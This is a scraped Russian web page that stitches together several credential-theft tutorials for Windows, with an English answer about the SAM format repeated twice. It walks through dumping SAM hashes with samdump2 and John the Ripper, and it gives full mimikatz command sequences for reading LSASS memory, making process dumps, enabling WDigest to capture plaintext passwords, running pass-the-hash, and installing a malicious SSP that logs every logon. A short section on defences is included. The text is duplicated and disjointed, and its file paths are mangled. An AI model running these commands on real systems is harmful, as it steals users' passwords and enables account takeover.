Где хранится хеш пароля windows 10

Содержание

Содержание

  1. Что такое хэш паролей и база данных SAM?
  2. Шаг 1. Первый шаг: установите системный раздел Windows
  3. Шаг 2: Сбросьте загрузочный ключ
  4. Шаг 3: Дама хэшей паролей
  5. IШаг 4: John the Ripper средство взлома пароля

Что такое хэш паролей и база данных SAM?

SAM предназначен для диспетчера учетных записей безопасности.

База данных SAM является частью Windows.

Операционная система состоит из имени пользователя и пароля в зашифрованном формате, называемом хэшем пароля.

Файл SAM существует в C:/Windows/System32/config в Windows 7/8 / 8.1 / 10.

Если пользователь хочет войти в компьютер, имя пользователя и пароль должны совпадать для аутентификации, введенной пользователем.

Если пользователь набрал неправильное имя пользователя и пароль, аутентификация не удалась.

Алгоритм шифрования при этом NTLM2.

Основная цель SAM – сохранить компьютер и данные перед неавторизованным человеком, например, хакерами.

Но это не полностью работает против профессионального хакера.

Здесь я расскажу вам, как хакер сбрасывает эти  хэши паролей из базы данных и узнает пароль, взламывая эти хеши.

Шаг 1. Первый шаг: установите системный раздел Windows

Кликните на Places > Filesystem.

Когда вы щелкнете по файловой системе, раздел windows будет автоматически установлен в каталог /media.

Откройте терминал и введите следующую команду, чтобы достичь  местоположении, где была сохранена база данных SAM.

 # cd /media/Mounting Point value/Windows/System32/config 

В приведенном выше монтировании значение будет изменено в соответствии с системой, вы можете увидеть это значение, выполнив следующую команду:

 # ls /media 

Шаг 2: Сбросьте загрузочный ключ

 # bkhive SYSTEM /root/Desktop/system.txt 

System.txt – это файл, в котором хранится ключ загрузки и / root / Desktop – это место для сохранения файла system.txt.

Шаг 3: Дама хэшей паролей

Хэши паролей извлекаются с комбинацией bootkey и базы данных SAM, этот процесс завершается с помощью утилиты samdump2, найденной в kali linux по умолчанию.

Команда дает следующее:

 # samdump2 SAM /root/Desktop/system.txt > /root/Desktop/hashes.txt 

В реализованной команде база данных SAM и файл system.txt были объединены и создали новый файл hashes.txt

Чтобы увидеть хэши паролей, сдампенные в файл hashes.txt, используйте указанную команду

 # cat /root/Desktop/hashes.txt 

Измените каталог на /root/Desktop, используя следующую команду:

# cd /root/Desktop 

IШаг 4: John the Ripper средство взлома пароля

По достижении каталога для хэшей используйте выполните john с помощью данной команды

 # john -format = nt2 -users = vijay hashes.txt 

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:Toolsmimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Содержание:

  • Извлекаем хэши паролей пользователей из памяти Windows
  • Получение хешей паролей пользователей из дампа памяти Windows
  • Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
  • Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?
  • Извлекаем пароли локальных пользователей Windows из SAM
  • Использование Mimikatz в pass-the-hash атаках
  • Просмотр сохраненных паролей в Windows
  • Дампим пароли при входе в Windows
  • Как защитить Windows от извлечения паролей из памяти?

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

  1. Запустите Mimikatz.exe с правами администратора;
  2. В контексте утилиты выполните команды:
    mimikatz # privilege::debug

    Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
  3. mimikatz # sekurlsa::logonPasswords full

    Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
  4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
  5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:
    anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
    Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

получение NTLM хэша пароля пользователя Windows из LSASS

Можно использовать mimikatz не в интерактивном, а в командном режиме. Чтобы автоматически получить хэши паролей пользователей и экспортировать в текстовый файл, выполните команды:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:toolsmimikatzoutput.txt

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

расшифровка ntlm хэшей

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

дамп процесса lsass.exe

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:UsersanovachAppDataLocalTemplsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

получение ntlm хэшей из дампа памяти

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

UseLogonCredential отключаем в реестре

Обновите GPO:

gpupdate /force

включить wdigest в windows через UseLogonCredential

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug
token::elevate
lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

  1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
    reg save hklmsam c:tmpsam.hiv
    reg save hklmsecurity c:tmpsec.hiv

    экспорт реестра
  2. Затем с помощью Mimikatz извлеките хэши паролей:
    privilege::debug
    token::elevate
    lsadump::sam c:tmpsam.hiv c:tmpsec.hiv

извлечение ntlm хэшей из реестра

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug
sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

получаем сохраненные пароли Windows

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

  1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:WindowsSystem32.
  2. Зарегистрируйте дополнительного провайдер командой:
    reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberosmsv1_0schannelwdigesttspkgpku2umimilib" /t REG_MULTI_SZ
    поддельный ssp провайдер mimilib.dll
  3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
    Get-Content C:WindowsSystem32kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

  • Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
  • Отключите Wdiget;
  • Отключить NTLM
  • Запретить использование сохранённых паролей в Credential Manager
  • Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
  • Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
  • Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
    reg add "HKLMSYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
    . Можно распространить этот параметр реестра на компьютеры через GPO.
  • Используйте Credential Guard для защиты содержимого LSA процесса;
  • Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
  • Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

Windows hashes are saved in SAM file (encrypted with SYSTEM file) on your computer regardless of the fact that you are using Microsoft account. It needs to be done this way to allow you to log in to your computer, even if you are not connected to the internet. If you change your password using account.microsoft.com, you will still be able to log in to your computer with your old password (even if you are using Microsoft account). After logging in to the system, you will be prompted to type new password, but as long as you don’t type new password, you will be able to use old password to log in to your computer. After you type new password, SAM (and possibly SYSTEM) file will be updated.

You (wrongly) get 31d6cfe0d16ae931b73c59d7e0c089c0 hash of your password because format of the SAM and/or SYSTEM files has changed since Windows 10 Anniversary update (see: similar problem), thus tools like chntpw, bkhive, pwdump, samdump2 print hash of the empty password (I verified it on my Windows 10). Since this update, Windows uses AES128 to encrypt password’s MD4 hash. Because of that, nearly all tutorials regarding Windows password recovery became outdated.

Fortunately there is a tool called mimikatz (Windows-only, but can be ran on Linux by using Wine) created by Benjamin Delpy, that can read passwords’ hashes saved in Windows’ new format. Note that Windows Defender and Symantec antivirus treats it as a ‘Hack Tool’ and removes it, so you need to disable them before running mimikatz (run as a administrator).

mimikatz consists of many modules, but you should explore lsadump module, particularly lsadump::sam function.

Excerpt from docs:

If you’re not SYSTEM or using an impersonated SYSTEM token, you’ll have access denied error:

mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56
ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)

In this case, you can use psexec to begin SYSTEM (or other tools) or elevate with token::elevate command to impersonate a SYSTEM token:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::whoami
 * Process Token : 623884       vm-w7-ult-xGentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p)       Primary
 * Thread Token  : no token

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : AUTORITE NTSystème

228     24215           AUTORITE NTSystème     S-1-5-18        (04g,30p)       Primary
 -> Impersonated !
 * Process Token : 623884       vm-w7-ult-xGentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p)       Primary
 * Thread Token  : 624196       AUTORITE NTSystème     S-1-5-18        (04g,30p)       Impersonation (Delegation)

mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID  : 000001f4 (500)
User : Administrateur
LM   :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Invité
LM   :
NTLM :

RID  : 000003e8 (1000)
User : Gentil Kiwi
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a

You can download x86 and amd64 binaries of the mimikatz here.

As a side note – if you want to make sure that password’s hash is hash of your password, you can easily do it using Python:

user@mycompa:~$  python3
Python 3.5.3 (default, Jan 19 2017, 14:11:04) 
[GCC 6.3.0 20170118] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib, binascii
>>> passwd = "password"
>>> hash = hashlib.new('md4', passwd.encode('utf-16le')).digest()
>>> print(binascii.hexlify(hash))
b'8846f7eaee8fb117ad06bdd830b7586c'

Windows hashes are saved in SAM file (encrypted with SYSTEM file) on your computer regardless of the fact that you are using Microsoft account. It needs to be done this way to allow you to log in to your computer, even if you are not connected to the internet. If you change your password using account.microsoft.com, you will still be able to log in to your computer with your old password (even if you are using Microsoft account). After logging in to the system, you will be prompted to type new password, but as long as you don’t type new password, you will be able to use old password to log in to your computer. After you type new password, SAM (and possibly SYSTEM) file will be updated.

You (wrongly) get 31d6cfe0d16ae931b73c59d7e0c089c0 hash of your password because format of the SAM and/or SYSTEM files has changed since Windows 10 Anniversary update (see: similar problem), thus tools like chntpw, bkhive, pwdump, samdump2 print hash of the empty password (I verified it on my Windows 10). Since this update, Windows uses AES128 to encrypt password’s MD4 hash. Because of that, nearly all tutorials regarding Windows password recovery became outdated.

Fortunately there is a tool called mimikatz (Windows-only, but can be ran on Linux by using Wine) created by Benjamin Delpy, that can read passwords’ hashes saved in Windows’ new format. Note that Windows Defender and Symantec antivirus treats it as a ‘Hack Tool’ and removes it, so you need to disable them before running mimikatz (run as a administrator).

mimikatz consists of many modules, but you should explore lsadump module, particularly lsadump::sam function.

Excerpt from docs:

If you’re not SYSTEM or using an impersonated SYSTEM token, you’ll have access denied error:

mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56
ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)

In this case, you can use psexec to begin SYSTEM (or other tools) or elevate with token::elevate command to impersonate a SYSTEM token:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::whoami
 * Process Token : 623884       vm-w7-ult-xGentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p)       Primary
 * Thread Token  : no token

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : AUTORITE NTSystème

228     24215           AUTORITE NTSystème     S-1-5-18        (04g,30p)       Primary
 -> Impersonated !
 * Process Token : 623884       vm-w7-ult-xGentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p)       Primary
 * Thread Token  : 624196       AUTORITE NTSystème     S-1-5-18        (04g,30p)       Impersonation (Delegation)

mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID  : 000001f4 (500)
User : Administrateur
LM   :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Invité
LM   :
NTLM :

RID  : 000003e8 (1000)
User : Gentil Kiwi
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a

You can download x86 and amd64 binaries of the mimikatz here.

As a side note – if you want to make sure that password’s hash is hash of your password, you can easily do it using Python:

user@mycompa:~$  python3
Python 3.5.3 (default, Jan 19 2017, 14:11:04) 
[GCC 6.3.0 20170118] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib, binascii
>>> passwd = "password"
>>> hash = hashlib.new('md4', passwd.encode('utf-16le')).digest()
>>> print(binascii.hexlify(hash))
b'8846f7eaee8fb117ad06bdd830b7586c'

Как известно windows хранит пароли пользователей в виде хеша в файле C:windowssystem32configsam. Но c пользователями залогиненными в системе дело обстоит немножко по другому. Штука в том, что некоторые системные процессы в своих служебных целях все-таки используют пароли пользователей в открытом (или зашифрованном) виде, а не их хэши. C помощью утилиты mimikatz при наличии прав администратора можно выцепить пароли авторизованных пользователей.

Вариант 1. Достаём пароли из памяти.

Для этого нам понадобятся пользователь с правом на отладку (привилегиями SeDebugPrivilege) и утилита Mimikatz (скачать можно с оф.сайта или отсюда пароль: tmie.ru). Так как права на отладку есть как и локального так и у доменного администраторов, локальный админ может узнать пароль доменного.

Запускаем Mimikatz с правами администратора, включаем отладку:

privilege::debug

создаем лог-файл:

log logfile.txt

сохраняем пароли в файл:

sekurlsa::logonPasswords full

В итоге получаем файлик с паролями пользователей в открытом виде.

Вариант 2. Достаем пароли из дампа процесса lsass.exe.

Если на нужном сервере или рабочей станции утилиту блокирует антивирусник, или вы физически не можете работать одновременно с пользователями, можно снять дамп памяти процесса lass.exe ручками или планировщиком.

Снять дамп памяти процесса можно с помощью модуля: Out-Minidump.ps1 (скачать можно отсюда или отсюда)

Импортируем модуль в powershell:

import-module .Out-Minidump.ps1

Снимаем дамп процесса lsass.exe.

Get-Process lsass | Out-Minidump

Получаем файл дампа памяти процесса. Файл лежит либо в system32, либо в папке откуда запускалась команда. Имя файла выглядит lsass_<ID процесса>.dmp.

Запускаем mimikatz  и натравливаем его на наш дамп:

sekurlsa::minidump <имя файла>

Дальше всё так же как и в первом варианте:

log logfile.txt

sekurlsa::logonPasswords full

Вариант 3. Достаём пароли из файла гибернации (hyberfile.sys).

При желании можно скопировать файл гибернации, конвертнуть его в dmp, и распарсить дебагером. Детально расписано здесь: (Хабр).

Windows memory toolkit community edition (скачать).

Понравилась статья? Поделить с друзьями:
  • Где хранится фотография рабочего стола windows 10
  • Где хранится фото экрана блокировки windows 10
  • Где хранится фото с рабочего стола windows 7
  • Где хранится фото аватара windows 10
  • Где хранится фоновый рисунок рабочего стола windows 10